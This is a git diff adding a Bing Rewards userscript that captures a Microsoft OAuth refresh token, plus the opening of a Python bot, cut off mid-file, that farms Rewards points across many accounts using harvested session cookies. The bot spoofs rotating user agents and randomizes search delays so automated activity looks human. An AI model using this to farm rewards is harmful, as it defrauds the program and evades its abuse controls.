diff --git a/Bing Rewards 自动获取刷新令牌-1.0.user.js b/Bing Rewards 自动获取刷新令牌-1.0.user.js
new file mode 100644
index 0000000..29bc7c6
--- /dev/null
+++ b/Bing Rewards 自动获取刷新令牌-1.0.user.js
@@ -0,0 +1,334 @@
+// ==UserScript==
+// @name Bing Rewards 自动获取刷新令牌
+// @namespace http://tampermonkey.net/
+// @version 1.0
+// @description 自动从Microsoft授权页面获取刷新令牌
+// @author 輕🌊ꫛꫀˑꪝ(ID28507)
+// @icon https://account.microsoft.com/favicon.ico
+// @match https://login.live.com/oauth20_desktop.srf*
+// @match https://login.live.com/oauth20_authorize.srf*
+// @grant GM_setValue
+// @grant GM_getValue
+// @grant GM_notification
+// @grant GM_setClipboard
+// @run-at document-start
+// @homepage https://www.yaohuo.me/bbs/userinfo.aspx?touserid=28507
+// @supportURL https://www.yaohuo.me/bbs/userinfo.aspx?touserid=28507
+// ==/UserScript==
+
+(function() {
+ 'use strict';
+
+ // 检查当前页面是否是授权回调页面
+ function checkForAuthCode() {
+ const url = window.location.href;
+ const urlParams = new URLSearchParams(window.location.search);
+
+ // 检查是否在回调页面且包含授权码
+ if (url.includes('oauth20_desktop.srf') && urlParams.has('code')) {
+ const code = urlParams.get('code');
+ console.log('🎯 检测到授权码:', code.substring(0, 20) + '...');
+
+ // 显示处理状态
+ showProcessingUI();
+
+ // 获取刷新令牌
+ getRefreshTokenFromCode(code);
+ }
+ }
+
+ // 显示处理界面
+ function showProcessingUI() {
+ // 创建覆盖层
+ const overlay = document.createElement('div');
+ overlay.id = 'token-overlay';
+ overlay.style.cssText = `
+ position: fixed;
+ top: 0;
+ left: 0;
+ width: 100%;
+ height: 100%;
+ background: rgba(0, 0, 0, 0.8);
+ z-index: 99999;
+ display: flex;
+ justify-content: center;
+ align-items: center;
+ font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
+ `;
+
+ // 创建内容容器
+ const container = document.createElement('div');
+ container.style.cssText = `
+ background: white;
+ padding: 30px;
+ border-radius: 10px;
+ box-shadow: 0 4px 20px rgba(0, 0, 0, 0.3);
+ max-width: 600px;
+ width: 90%;
+ text-align: center;
+ `;
+
+ container.innerHTML = `
+
🔧 Bing Rewards 令牌获取工具
+
+ `;
+
+ // 添加旋转动画
+ const style = document.createElement('style');
+ style.textContent = `
+ @keyframes spin {
+ 0% { transform: rotate(0deg); }
+ 100% { transform: rotate(360deg); }
+ }
+ `;
+ document.head.appendChild(style);
+
+ overlay.appendChild(container);
+ document.body.appendChild(overlay);
+ }
+
+ // 更新状态显示
+ function updateStatus(html) {
+ const statusContent = document.getElementById('status-content');
+ if (statusContent) {
+ statusContent.innerHTML = html;
+ }
+ }
+
+ // 通过授权码获取刷新令牌
+ async function getRefreshTokenFromCode(code) {
+ const tokenUrl = "https://login.live.com/oauth20_token.srf";
+
+ const data = new URLSearchParams({
+ 'client_id': '0000000040170455',
+ 'code': code,
+ 'grant_type': 'authorization_code',
+ 'redirect_uri': 'https://login.live.com/oauth20_desktop.srf',
+ 'scope': 'service::prod.rewardsplatform.microsoft.com::MBI_SSL'
+ });
+
+ try {
+ const response = await fetch(tokenUrl, {
+ method: 'POST',
+ headers: {
+ 'Content-Type': 'application/x-www-form-urlencoded'
+ },
+ body: data
+ });
+
+ if (response.ok) {
+ const tokenData = await response.json();
+
+ if (tokenData.refresh_token) {
+ const refreshToken = tokenData.refresh_token;
+
+ // 保存令牌到本地存储
+ GM_setValue('bing_refresh_token', refreshToken);
+
+ // 复制到剪贴板
+ GM_setClipboard(refreshToken);
+
+ // 显示成功信息
+ showSuccessUI(refreshToken);
+
+ // 发送通知
+ GM_notification({
+ text: '✅ 刷新令牌获取成功!已复制到剪贴板',
+ title: 'Bing Rewards',
+ timeout: 5000
+ });
+
+ console.log('✅ 刷新令牌获取成功:', refreshToken);
+ } else {
+ throw new Error('响应中未找到refresh_token');
+ }
+ } else {
+ throw new Error(`请求失败,状态码: ${response.status}`);
+ }
+ } catch (error) {
+ console.error('❌ 获取令牌失败:', error);
+ showErrorUI(error.message);
+
+ GM_notification({
+ text: '❌ 获取令牌失败: ' + error.message,
+ title: 'Bing Rewards',
+ timeout: 5000
+ });
+ }
+ }
+
+ // 显示成功界面
+ function showSuccessUI(refreshToken) {
+ const maskedToken = refreshToken.substring(0, 20) + '...';
+
+ updateStatus(`
+
+
✅
+
刷新令牌获取成功!
+
+
+
🎯 您的刷新令牌: ${maskedToken}
+
+
+
+
📋 使用说明:
+
+ - ✅ 令牌已自动复制到剪贴板
+ - ✅ 令牌已保存到浏览器本地存储
+ - 💡 可以通过控制台 GM_getValue('bing_refresh_token') 获取
+
+
+
+
+
+ `);
+ }
+
+ // 显示错误界面
+ function showErrorUI(errorMessage) {
+ updateStatus(`
+
+
❌
+
获取令牌失败
+
+
+
错误信息: ${errorMessage}
+
+
+
+
💡 解决建议:
+
+ - 检查网络连接是否正常
+ - 确认已正确完成Microsoft账号授权
+ - 尝试重新访问授权链接
+
+
+
+
+
+ `);
+ }
+
+ // 在授权页面添加说明
+ function addAuthInstructions() {
+ if (window.location.href.includes('oauth20_authorize.srf')) {
+ // 等待页面加载完成
+ setTimeout(() => {
+ const body = document.body;
+ if (body) {
+ const notice = document.createElement('div');
+ notice.style.cssText = `
+ position: fixed;
+ top: 10px;
+ right: 10px;
+ background: #0078d4;
+ color: white;
+ padding: 15px;
+ border-radius: 8px;
+ box-shadow: 0 4px 12px rgba(0, 0, 0, 0.3);
+ z-index: 10000;
+ font-family: 'Segoe UI', sans-serif;
+ font-size: 14px;
+ max-width: 300px;
+ `;
+
+ notice.innerHTML = `
+ 🔧 Bing Rewards 令牌工具
+ 完成授权后,页面会自动跳转并获取刷新令牌
+ 油猴脚本已激活 ✓
+ `;
+
+ body.appendChild(notice);
+
+ // 5秒后自动隐藏
+ setTimeout(() => {
+ notice.style.opacity = '0';
+ notice.style.transition = 'opacity 0.5s';
+ setTimeout(() => notice.remove(), 500);
+ }, 5000);
+ }
+ }, 1000);
+ }
+ }
+
+ // 添加控制台帮助函数
+ window.getBingRefreshToken = function() {
+ const token = GM_getValue('bing_refresh_token');
+ if (token) {
+ console.log('🎯 当前保存的刷新令牌:', token);
+ GM_setClipboard(token);
+ console.log('✅ 令牌已复制到剪贴板');
+ return token;
+ } else {
+ console.log('❌ 未找到保存的刷新令牌');
+ return null;
+ }
+ };
+
+ // 页面加载时执行
+ if (document.readyState === 'loading') {
+ document.addEventListener('DOMContentLoaded', () => {
+ checkForAuthCode();
+ addAuthInstructions();
+ });
+ } else {
+ checkForAuthCode();
+ addAuthInstructions();
+ }
+
+ // 监听URL变化(用于单页应用)
+ let currentUrl = window.location.href;
+ const urlObserver = new MutationObserver(() => {
+ if (window.location.href !== currentUrl) {
+ currentUrl = window.location.href;
+ checkForAuthCode();
+ addAuthInstructions();
+ }
+ });
+
+ urlObserver.observe(document.body, {
+ childList: true,
+ subtree: true
+ });
+
+ console.log('🔧 Bing Rewards 自动获取刷新令牌脚本已加载');
+ console.log('💡 使用 getBingRefreshToken() 函数可以获取已保存的令牌');
+
+})();
\ No newline at end of file
diff --git a/bing_multi_accounts_v2.1.py b/bing_multi_accounts_v2.1.py
new file mode 100644
index 0000000..0dd690c
--- /dev/null
+++ b/bing_multi_accounts_v2.1.py
@@ -0,0 +1,2740 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+🎯 Bing Rewards 自动化脚本 - 多账号分离版-v2.1
+
+变量名:
+bing_ck_1、bing_ck_2、bing_ck_3、bing_ck_4... (必需)
+bing_token_1、bing_token_2、bing_token_3、bing_token_4... (可选,用于阅读任务)
+
+下面url抓取CK,必须抓取到 tifacfaatcs 和认证字段,否则cookie无效
+1. 登录 https://cn.bing.com/
+2. 点右侧的【查看仪表板】,会跳转到 https://rewards.bing.com/?ref=rewardspanel
+3. 确认两个地址登录的是同一个账号,抓CK
+
+Cookie验证规则:
+- tifacfaatcs: 影响账号信息获取(必需)
+- 认证字段: 影响搜索任务是否加分(必须包含 .MSA.Auth)
+- 以上字段缺失会导致cookie无效
+
+🔑 阅读任务需要配置刷新令牌:
+1. 安装"Bing Rewards 自动获取刷新令牌"油猴脚本
+2. 访问 https://login.live.com/oauth20_authorize.srf?client_id=0000000040170455&scope=service::prod.rewardsplatform.microsoft.com::MBI_SSL&response_type=code&redirect_uri=https://login.live.com/oauth20_desktop.srf
+3. 登录后,使用"Bing Rewards 自动获取刷新令牌"油猴脚本,自动获取刷新令牌
+4. 设置环境变量 bing_token_1、bing_token_2、bing_token_3...
+
+From:yaohuo28507
+cron: 10 0-22 * * *
+
+"""
+
+import requests
+import random
+import re
+import time
+import json
+import os
+from datetime import datetime, date
+from urllib.parse import urlparse, parse_qs, quote
+import threading
+from typing import Dict, List, Optional, Tuple, Any
+from dataclasses import dataclass
+from functools import wraps
+import traceback
+
+# ==================== 用户配置区域 ====================
+# 在这里修改您的配置参数
+#
+# 📝 配置说明:
+# 1. 推送配置:设置Telegram和企业微信推送参数
+# 2. 任务执行配置:调整搜索延迟、重试次数等执行参数
+# 3. 缓存配置:设置缓存文件相关参数
+#
+# 💡 修改建议:
+# - 搜索延迟建议保持在25-35秒之间,避免过于频繁
+# - 任务延迟建议保持在2-4秒之间,给系统响应时间
+# - 重试次数建议不超过5次,避免过度重试
+# - 请求超时建议15-30秒,根据网络情况调整
+# - 重复运行次数建议3-5次,避免过度重复执行
+
+
+# 任务执行配置
+TASK_CONFIG = {
+ 'SEARCH_CHECK_INTERVAL': 5, # 搜索检查间隔次数
+ 'SEARCH_DELAY_MIN': 25, # 搜索延迟最小值(秒)
+ 'SEARCH_DELAY_MAX': 35, # 搜索延迟最大值(秒)
+ 'TASK_DELAY_MIN': 2, # 任务延迟最小值(秒)
+ 'TASK_DELAY_MAX': 4, # 任务延迟最大值(秒)
+ 'MAX_RETRIES': 3, # 最大重试次数
+ 'RETRY_DELAY': 2, # 重试延迟(秒)
+ 'REQUEST_TIMEOUT': 15, # 请求超时时间(秒)
+ 'HOT_WORDS_MAX_COUNT': 30, # 热搜词最大数量
+ 'MAX_REPEAT_COUNT': 3, # 最大重复运行次数
+}
+
+# 缓存配置
+CACHE_CONFIG = {
+ 'CACHE_FILE': "bing_cache.json", # 缓存文件名
+ 'CACHE_ENABLED': True, # 是否启用缓存
+}
+
+# 使用缓存配置
+CACHE_ENABLED = CACHE_CONFIG['CACHE_ENABLED']
+
+
+
+# ==================== 配置管理 ====================
+@dataclass
+class Config:
+ """配置类,统一管理所有配置项"""
+ # 搜索配置
+ SEARCH_CHECK_INTERVAL: int = TASK_CONFIG['SEARCH_CHECK_INTERVAL']
+ SEARCH_DELAY_MIN: int = TASK_CONFIG['SEARCH_DELAY_MIN']
+ SEARCH_DELAY_MAX: int = TASK_CONFIG['SEARCH_DELAY_MAX']
+ TASK_DELAY_MIN: int = TASK_CONFIG['TASK_DELAY_MIN']
+ TASK_DELAY_MAX: int = TASK_CONFIG['TASK_DELAY_MAX']
+
+ # 重试配置
+ MAX_RETRIES: int = TASK_CONFIG['MAX_RETRIES']
+ RETRY_DELAY: int = TASK_CONFIG['RETRY_DELAY']
+
+ # 文件配置
+ CACHE_FILE: str = CACHE_CONFIG['CACHE_FILE']
+
+ # API配置
+ REQUEST_TIMEOUT: int = TASK_CONFIG['REQUEST_TIMEOUT']
+ HOT_WORDS_MAX_COUNT: int = TASK_CONFIG['HOT_WORDS_MAX_COUNT']
+
+ # User-Agent池配置
+ PC_USER_AGENTS: List[str] = None
+ MOBILE_USER_AGENTS: List[str] = None
+
+ # 热搜API配置
+ HOT_WORDS_APIS: List[Tuple[str, List[str]]] = None
+ DEFAULT_HOT_WORDS: List[str] = None
+
+ def __post_init__(self):
+ if self.HOT_WORDS_APIS is None:
+ self.HOT_WORDS_APIS = [
+ ("https://dailyapi.eray.cc/", ["weibo", "douyin", "baidu", "toutiao", "thepaper", "qq-news", "netease-news", "zhihu"]),
+ ("https://hot.baiwumm.com/api/", ["weibo", "douyin", "baidu", "toutiao", "thepaper", "qq", "netease", "zhihu"]),
+ ("https://cnxiaobai.com/DailyHotApi/", ["weibo", "douyin", "baidu", "toutiao", "thepaper", "qq-news", "netease-news", "zhihu"]),
+ ("https://hotapi.nntool.cc/", ["weibo", "douyin", "baidu", "toutiao", "thepaper", "qq-news", "netease-news", "zhihu"]),
+ ]
+
+ if self.DEFAULT_HOT_WORDS is None:
+ self.DEFAULT_HOT_WORDS = [
+ "盛年不重来,一日难再晨", "千里之行,始于足下", "少年易学老难成,一寸光阴不可轻",
+ "敏而好学,不耻下问", "海内存知已,天涯若比邻", "三人行,必有我师焉",
+ "莫愁前路无知已,天下谁人不识君", "人生贵相知,何用金与钱", "天生我材必有用",
+ '海纳百川有容乃大;壁立千仞无欲则刚', "穷则独善其身,达则兼济天下", "读书破万卷,下笔如有神",
+ ]
+
+ if self.PC_USER_AGENTS is None:
+ self.PC_USER_AGENTS = [
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.2478.131",
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0",
+ "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.2210.181",
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0",
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0",
+ ]
+
+ if self.MOBILE_USER_AGENTS is None:
+ self.MOBILE_USER_AGENTS = [
+ "Mozilla/5.0 (Linux; Android 14; 2210132C Build/UP1A.231005.007) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.52 Mobile Safari/537.36 EdgA/125.0.2535.51",
+ "Mozilla/5.0 (iPad; CPU OS 16_7_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.150 Version/16.0 Mobile/15E148 Safari/604.1",
+ "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/123.0.2420.108 Version/18.0 Mobile/15E148 Safari/604.1",
+ "Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.44 Mobile Safari/537.36 EdgA/124.0.2478.49",
+ "Mozilla/5.0 (Linux; Android 14; Mi 10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.40 Mobile Safari/537.36 EdgA/123.0.2420.65",
+ "Mozilla/5.0 (Linux; Android 9; ONEPLUS A5000 Build/PKQ1.180716.001; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Mobile Safari/537.36 BingSapphire/32.2.430730002",
+
+ ]
+
+ @staticmethod
+ def generate_random_tnTID() -> str:
+ """生成随机的tnTID参数"""
+ # 生成32位随机十六进制字符串
+ import secrets
+ random_hex = secrets.token_hex(16).upper()
+ return f"DSBOS_{random_hex}"
+
+ @staticmethod
+ def generate_random_tnCol() -> str:
+ """生成1-50之间的随机数字"""
+ return str(random.randint(1, 50))
+
+ @staticmethod
+ def get_random_pc_ua() -> str:
+ """获取随机PC端User-Agent"""
+ return random.choice(config.PC_USER_AGENTS)
+
+ @staticmethod
+ def get_random_mobile_ua() -> str:
+ """获取随机移动端User-Agent"""
+ return random.choice(config.MOBILE_USER_AGENTS)
+
+config = Config()
+
+# ==================== 账号管理 ====================
+@dataclass
+class AccountInfo:
+ """账号信息类"""
+ index: int
+ alias: str
+ cookies: str
+ refresh_token: str = ""
+
+class AccountManager:
+ """账号管理器 - 读取环境变量中的账号配置"""
+
+ @staticmethod
+ def get_accounts() -> List[AccountInfo]:
+ """获取所有账号配置"""
+ accounts = []
+ index = 1
+ consecutive_empty = 0 # 连续空配置计数器
+ max_consecutive_empty = 10 # 允许最多连续5个空配置
+ max_check_index = 50 # 最大检查到第50个账号
+
+ while index <= max_check_index:
+ cookies = os.getenv(f"bing_ck_{index}")
+ refresh_token = os.getenv(f"bing_token_{index}", "")
+
+ # 如果既没有cookies也没有refresh_token
+ if not cookies and not refresh_token:
+ consecutive_empty += 1
+ # 如果连续空配置超过限制,则停止搜索
+ if consecutive_empty >= max_consecutive_empty:
+ break
+ index += 1
+ continue
+ else:
+ # 重置连续空配置计数器
+ consecutive_empty = 0
+
+ # 如果只有refresh_token没有cookies,跳过该账号
+ if not cookies:
+ print_log("账号配置", f"账号{index} 缺少cookies配置,跳过", index)
+ # 发送缺少cookies配置的通知
+ global_notification_manager.send_missing_cookies_config(index)
+ index += 1
+ continue
+
+ # 验证cookie是否包含必需字段
+ # 必须包含tifacfaatcs
+ if 'tifacfaatcs=' not in cookies:
+ print_log("账号配置", f"账号{index} 的cookie缺少必需字段: tifacfaatcs,cookie无效,请重新抓取", index)
+ # 发送cookie失效通知
+ global_notification_manager.send_cookie_missing_required_field(index, "tifacfaatcs")
+ index += 1
+ continue
+
+ # 必须包含 .MSA.Auth
+ auth_fields = ['.MSA.Auth=']
+ has_auth_field = any(field in cookies for field in auth_fields)
+
+ if not has_auth_field:
+ print_log("账号配置", f"账号{index} 的cookie缺少认证字段(需要包含 .MSA.Auth),cookie无效,请重新抓取", index)
+ # 发送cookie失效通知
+ global_notification_manager.send_cookie_missing_auth_field(index)
+ index += 1
+ continue
+
+ alias = f"账号{index}"
+ accounts.append(AccountInfo(
+ index=index,
+ alias=alias,
+ cookies=cookies,
+ refresh_token=refresh_token
+ ))
+
+ index += 1
+
+ # 从令牌缓存文件加载保存的令牌
+ for account in accounts:
+ cached_token = global_token_cache_manager.get_cached_token(account.alias, account.index)
+ if cached_token:
+ account.refresh_token = cached_token
+
+ # 如果没有有效账号,发送总结性通知
+ if not accounts:
+ global_notification_manager.send_no_valid_accounts()
+
+ return accounts
+
+
+# ==================== 日志系统 ====================
+
+class LogIcons:
+ """日志状态图标"""
+ # 基础状态
+ INFO = "📊"
+ SUCCESS = "✅"
+ FAILED = "❌"
+ WARNING = "⚠️"
+ SKIP = "⏭️"
+ START = "🚀"
+ COMPLETE = "🎉"
+
+ # 任务类型
+ SEARCH_PC = "💻"
+ SEARCH_MOBILE = "📱"
+ SEARCH_PROGRESS = "🔍"
+ DAILY_TASK = "📅"
+ MORE_TASK = "🎯"
+ READ_TASK = "📖"
+
+ # 账号相关
+ ACCOUNT = "👤"
+ POINTS = "💰"
+ EMAIL = "📧"
+
+ # 系统相关
+ INIT = "⚙️"
+ CACHE = "💾"
+ TOKEN = "🔑"
+ NOTIFY = "📢"
+
+class LogFormatter:
+ """日志格式化器"""
+
+ @staticmethod
+ def create_progress_bar(current: int, total: int, width: int = 8) -> str:
+ """创建进度条"""
+ if total <= 0:
+ return "░" * width + f" 0/0"
+
+ filled = int((current / total) * width)
+ filled = min(filled, width) # 确保不超过宽度
+
+ bar = "█" * filled + "░" * (width - filled)
+ return f"{bar} {current}/{total}"
+
+ @staticmethod
+ def format_points_change(start: int, end: int) -> str:
+ """格式化积分变化"""
+ change = end - start
+ if change > 0:
+ return f"{start} → {end} (+{change})"
+ elif change < 0:
+ return f"{start} → {end} ({change})"
+ else:
+ return f"{start} (无变化)"
+
+class LogLevel:
+ """日志级别"""
+ DEBUG = 0
+ INFO = 1
+ SUCCESS = 2
+ WARNING = 3
+ ERROR = 4
+
+class EnhancedLogger:
+ """增强的日志记录器 - 多线程安全版本"""
+
+ def __init__(self, min_level: int = LogLevel.INFO):
+ self.min_level = min_level
+ self.formatter = LogFormatter()
+ self.lock = threading.Lock() # 添加线程锁
+
+ def _get_timestamp(self) -> str:
+ """获取时间戳"""
+ return datetime.now().strftime("%H:%M:%S")
+
+ def _format_account_prefix(self, account_index: Optional[int]) -> str:
+ """格式化账号前缀"""
+ if account_index is not None:
+ return f"[账号{account_index}]"
+ return "[系统]"
+
+ def _log(self, level: int, icon: str, title: str, msg: str, account_index: Optional[int] = None):
+ """内部日志方法 - 线程安全"""
+ if level < self.min_level:
+ return
+
+ with self.lock: # 确保线程安全
+ timestamp = self._get_timestamp()
+ account_prefix = self._format_account_prefix(account_index)
+ log_message = f"{timestamp} {account_prefix} {icon} {title}: {msg or ''}"
+ print(log_message, flush=True)
+
+ # ==================== 基础日志方法 ====================
+ def info(self, title: str, msg: str, account_index: Optional[int] = None):
+ """信息日志"""
+ self._log(LogLevel.INFO, LogIcons.INFO, title, msg, account_index)
+
+ def success(self, title: str, msg: str, account_index: Optional[int] = None):
+ """成功日志"""
+ self._log(LogLevel.SUCCESS, LogIcons.SUCCESS, title, msg, account_index)
+
+ def warning(self, title: str, msg: str, account_index: Optional[int] = None):
+ """警告日志"""
+ self._log(LogLevel.WARNING, LogIcons.WARNING, title, msg, account_index)
+
+ def error(self, title: str, msg: str, account_index: Optional[int] = None):
+ """错误日志"""
+ self._log(LogLevel.ERROR, LogIcons.FAILED, title, msg, account_index)
+
+ def skip(self, title: str, msg: str, account_index: Optional[int] = None):
+ """跳过日志"""
+ self._log(LogLevel.INFO, LogIcons.SKIP, title, msg, account_index)
+
+ # ==================== 任务相关日志方法 ====================
+ def account_start(self, email: str, initial_points: int, account_index: int):
+ """账号开始处理"""
+ # 邮箱脱敏显示:用户名前4位+**+完整域名
+ if '@' in email:
+ username, domain = email.split('@', 1)
+ # 用户名显示前4位+**
+ masked_username = username[:4] + "**" if len(username) > 4 else username + "**"
+ # 保留完整域名
+ masked_email = f"{masked_username}@{domain}"
+ else:
+ # 如果没有@符号,简单处理
+ masked_email = email[:4] + "**" if len(email) > 4 else email
+
+ msg = f"{masked_email} ({initial_points})"
+ self._log(LogLevel.INFO, LogIcons.START, "初始化", msg, account_index)
+
+ def account_complete(self, start_points: int, end_points: int, account_index: int):
+ """账号处理完成"""
+ msg = self.formatter.format_points_change(start_points, end_points)
+ self._log(LogLevel.SUCCESS, LogIcons.COMPLETE, "处理完成", msg, account_index)
+
+
+
+ # ==================== 搜索相关日志方法 ====================
+ def search_start(self, search_type: str, required: int, max_attempts: int, account_index: int):
+ """搜索开始"""
+ icon = LogIcons.SEARCH_PC if search_type == "电脑" else LogIcons.SEARCH_MOBILE
+ msg = f"理论需{required}次,预执行{max_attempts}次"
+ self._log(LogLevel.INFO, icon, f"{search_type}搜索开始", msg, account_index)
+
+ def search_progress(self, search_type: str, current: int, total: int, delay: int, account_index: int):
+ """搜索进度"""
+ progress_bar = self.formatter.create_progress_bar(current, total)
+ # msg = f"{progress_bar} (第{current}次成功,等待{delay}秒...)"
+ msg = f"{progress_bar}"
+ self._log(LogLevel.INFO, LogIcons.SEARCH_PROGRESS, f"{search_type}搜索中", msg, account_index)
+
+ def search_complete(self, search_type: str, attempts: int, account_index: int, success: bool = True):
+ """搜索完成"""
+ icon = LogIcons.SEARCH_PC if search_type == "电脑" else LogIcons.SEARCH_MOBILE
+ if success:
+ msg = f"任务已完成,执行了{attempts}次搜索"
+ self._log(LogLevel.SUCCESS, LogIcons.SUCCESS, f"{search_type}搜索", msg, account_index)
+ else:
+ msg = f"任务未完成,执行了{attempts}次搜索"
+ self._log(LogLevel.WARNING, LogIcons.WARNING, f"{search_type}搜索", msg, account_index)
+
+ def search_progress_summary(self, search_type: str, count: int, start_progress: int, end_progress: int, account_index: int):
+ """搜索进度总结"""
+ msg = f"已完成{count}次,进度: {start_progress} → {end_progress}"
+ self._log(LogLevel.INFO, LogIcons.SEARCH_PROGRESS, f"{search_type}搜索", msg, account_index)
+
+ def search_skip(self, search_type: str, reason: str, account_index: int):
+ """搜索跳过"""
+ icon = LogIcons.SEARCH_PC if search_type == "电脑" else LogIcons.SEARCH_MOBILE
+ self._log(LogLevel.INFO, LogIcons.SKIP, f"{search_type}搜索", f"跳过 ({reason})", account_index)
+
+
+
+# 创建全局日志实例
+logger = EnhancedLogger()
+
+def print_log(title: str, msg: str, account_index: Optional[int] = None):
+ """保持向后兼容的日志函数"""
+ # 自动识别日志类型并使用对应的图标
+ title_lower = title.lower()
+ msg_lower = msg.lower() if msg else ""
+
+ # 根据标题和消息内容选择合适的日志方法
+ # 特殊处理:系统提示类消息优先识别为警告
+ if ("提示" in title or "建议" in title or "提示" in msg_lower or "建议" in msg_lower):
+ logger.warning(title, msg, account_index)
+ # 优先检查失败/错误/未完成情况
+ elif ("失败" in title or "错误" in title or "失败" in msg_lower or "错误" in msg_lower or "❌" in msg or
+ ("未完成" in msg_lower and "找到" not in msg_lower) or "终止" in msg_lower or "取消" in msg_lower):
+ logger.error(title, msg, account_index)
+ elif ("成功" in title or "完成" in title or "成功" in msg_lower or ("完成" in msg_lower and "未完成" not in msg_lower) or "✅" in msg):
+ logger.success(title, msg, account_index)
+ elif ("跳过" in title or "skip" in title_lower or "跳过" in msg_lower):
+ logger.skip(title, msg, account_index)
+ elif ("警告" in title or "warning" in title_lower or "警告" in msg_lower):
+ logger.warning(title, msg, account_index)
+ # 特殊处理:包含"找到"的消息通常是信息性的,使用信息图标
+ elif "找到" in msg_lower:
+ logger.info(title, msg, account_index)
+ else:
+ logger.info(title, msg, account_index)
+
+# ==================== 异常处理装饰器 ====================
+def retry_on_failure(max_retries: int = config.MAX_RETRIES, delay: int = config.RETRY_DELAY):
+ """重试装饰器"""
+ def decorator(func):
+ @wraps(func)
+ def wrapper(*args, **kwargs):
+ last_exception = None
+
+ # 获取更友好的函数名显示
+ func_name = func.__name__
+ if func_name == 'make_request':
+ func_name = "网络请求"
+ elif func_name == 'get_access_token':
+ func_name = "令牌获取"
+ elif func_name == 'get_read_progress':
+ func_name = "阅读进度"
+ elif func_name == 'submit_read_activity':
+ func_name = "阅读提交"
+ elif func_name == 'get_rewards_points':
+ func_name = "积分查询"
+ elif func_name == 'get_dashboard_data':
+ func_name = "数据获取"
+
+ for attempt in range(max_retries):
+ try:
+ return func(*args, **kwargs)
+ except Exception as e:
+ last_exception = e
+ if attempt < max_retries - 1:
+ account_index = kwargs.get('account_index')
+ if account_index is not None:
+ print_log(f"{func_name}重试", f"第{attempt + 1}次尝试失败,{delay}秒后重试...", account_index)
+ else:
+ print_log(f"{func_name}重试", f"第{attempt + 1}次尝试失败,{delay}秒后重试...")
+ time.sleep(delay)
+ else:
+ account_index = kwargs.get('account_index')
+ if account_index is not None:
+ print_log(f"{func_name}失败", f"重试{max_retries}次后仍失败: {e}", account_index)
+ else:
+ print_log(f"{func_name}失败", f"重试{max_retries}次后仍失败: {e}")
+ raise last_exception
+ return wrapper
+ return decorator
+
+# ==================== 通知系统 ====================
+
+class NotificationTemplates:
+ """通知模板管理器 - 统一管理所有通知内容"""
+
+ # Cookie获取地址
+ COOKIE_URLS = "https://rewards.bing.com/welcome"
+
+ @staticmethod
+ def get_cookie_urls_text() -> str:
+ """获取Cookie获取地址的格式化文本"""
+ return f" {NotificationTemplates.COOKIE_URLS}"
+
+ @staticmethod
+ def get_current_time() -> str:
+ """获取当前时间格式化字符串"""
+ return datetime.now().strftime('%Y-%m-%d %H:%M:%S')
+
+ @classmethod
+ def missing_cookies_config(cls, account_index: int) -> tuple[str, str]:
+ """缺少cookies配置的通知模板"""
+ title = "🚨 Microsoft Rewards 配置缺失"
+ content = (
+ f"账号{account_index} 缺少cookies配置\n\n"
+ f"错误时间: {cls.get_current_time()}\n"
+ f"需要处理: 为账号{account_index}添加环境变量 bing_ck_{account_index}\n\n"
+ f"配置说明:\n"
+ f"1. 设置环境变量: bing_ck_{account_index}=你的完整cookie字符串\n"
+ f"2. Cookie获取地址:\n"
+ f"{cls.get_cookie_urls_text()}"
+ )
+ return title, content
+
+ @classmethod
+ def cookie_missing_required_field(cls, account_index: int, field_name: str) -> tuple[str, str]:
+ """Cookie缺少必需字段的通知模板"""
+ title = "🚨 Microsoft Rewards Cookie配置错误"
+ content = (
+ f"账号{account_index} 的Cookie缺少必需字段: {field_name}\n\n"
+ f"错误时间: {cls.get_current_time()}\n"
+ f"需要处理: 重新获取账号{account_index}的完整Cookie\n\n"
+ f"Cookie获取地址:\n"
+ f"{cls.get_cookie_urls_text()}"
+ )
+ return title, content
+
+ @classmethod
+ def cookie_missing_auth_field(cls, account_index: int) -> tuple[str, str]:
+ """Cookie缺少认证字段的通知模板"""
+ title = "🚨 Microsoft Rewards Cookie认证字段缺失"
+ content = (
+ f"账号{account_index} 的Cookie缺少认证字段(需要包含 .MSA.Auth)\n\n"
+ f"错误时间: {cls.get_current_time()}\n"
+ f"需要处理: 重新获取账号{account_index}的完整Cookie\n\n"
+ f"Cookie获取地址:\n"
+ f"{cls.get_cookie_urls_text()}"
+ )
+ return title, content
+
+ @classmethod
+ def no_valid_accounts(cls) -> tuple[str, str]:
+ """无有效账号配置的通知模板"""
+ title = "🚨 Microsoft Rewards 无有效账号配置"
+ content = (
+ "所有账号配置均存在问题,无法启动任务!\n\n"
+ f"检查时间: {cls.get_current_time()}\n\n"
+ "常见问题及解决方案:\n"
+ "1. 环境变量未设置: 检查 bing_ck_1, bing_ck_2 等\n"
+ "2. Cookie格式错误: 确保包含 tifacfaatcs 字段\n"
+ "3. 认证字段缺失: 确保包含 .MSA.Auth 字段\n\n"
+ f"Cookie获取地址:\n"
+ f"{cls.get_cookie_urls_text()}"
+ )
+ return title, content
+
+ @classmethod
+ def cookie_invalid(cls, account_index: Optional[int] = None) -> tuple[str, str]:
+ """Cookie失效的通知模板"""
